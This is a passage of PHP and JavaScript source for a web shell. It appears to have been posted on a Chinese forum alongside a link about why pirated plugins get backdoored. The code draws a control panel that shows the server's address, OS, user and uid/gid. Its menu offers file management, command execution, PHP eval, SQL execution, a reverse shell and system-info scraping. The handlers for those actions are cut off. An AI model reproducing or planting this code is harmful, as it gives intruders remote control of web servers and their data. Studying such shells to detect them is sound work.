'chkall') { e.checked = form.chkall.checked; } } } }function go(a,b) { b = sd(b); $('go').value = a; $('govar').value = b; if(a == 'editor') { $('gofrm').target = "_blank"; } else { $('gofrm').target = ""; } $('gofrm').submit(); } function nf(a,b) { re = prompt("新建名",b); if(re) { $('go').value = a; $('govar').value = re; $('gofrm').submit(); } } function dels(a) { if(a == 'b') { var msg = "所选文件"; $('act').value = a; } else { var msg = "目录"; $('act').value = 'deltree'; $('var').value = a; } if(confirm("确定要删除"+msg+"吗")) { $('frm1').submit(); } }function txts(m,p,a) { p = sd(p); re = prompt(m,p); if(re) { $('var').value = re; $('act').value = a; $('frm1').submit(); } }function acts(p,a,f) { p = sd(p); f = sd(f); re = prompt(f,p); if(re) { $('var').value = re+'|x|'+f; $('act').value = a; $('frm1').submit(); } }</script><title><?phpecho VERSION;?></title></head><body><div class="main"><div class="outl"><div class="toptag"><?phpecho $_SERVER['SERVER_ADDR'] . ' - ' . PHP_OS . ' - whoami(' . get_current_user() . ') - 【uid(' . getmyuid() . ') gid(' . getmygid() . ')】';if (isset($issql))    echo ' - 【' . $issql . '】';?></div><?php$menu   = array(    'file' => '文件管理',    'scan' => '搜索文件',    'antivirus' => '扫描后门',    'exec' => '执行命令',    'phpeval' => '执行PHP',    'sql' => '执行SQL',    'backshell' => '反弹SHELL',    'info' => '系统信息');$go     = array_key_exists($_POST['go'], $menu) ? $_POST['go'] : 'file';$nowdir = isset($_POST['dir']) ? strdir(chop($_POST['dir']) . '/') : THISDIR;echo '<div class="tag">';foreach ($menu as $key => $name) {    echo '<a' . ($go == $key ? ' class="current"' : '') . ' href="javascript:void(0);" onclick="go(\'' . $key . '\',\'' . base64_encode($nowdir) . '\');">' . $name . '</a> ';}echo '</div>';echo '<form name="gofrm" id="gofrm" method="POST">';subeval();echo '<input type="hidden" name="go" id="go" value="">';echo '<input type="hidden" name="godir" id="godir" value="' . $nowdir . '">';echo '<input type="hidden" name="govar" id="govar" value="">';echo '</form>';switch ($_POST['go']) {    case "info":        if (EXISTS_PHPINFO) {            ob_start();            phpinfo(INFO_GENERAL);            $out = ob_get_contents();            ob_end_clean();            $tmp = array();            preg_match_all('/\<td class\="e"\>([Configure Command|Loaded Configuration File])+\s*\<\/td\>\<td class\="v"\>(.*)\<\/td\>/i', $out, $tmp);        }
帖子长度超了，回帖接上


传送门：安全小知识：为什么使用盗版插件容易被挂马
进入原文参与互动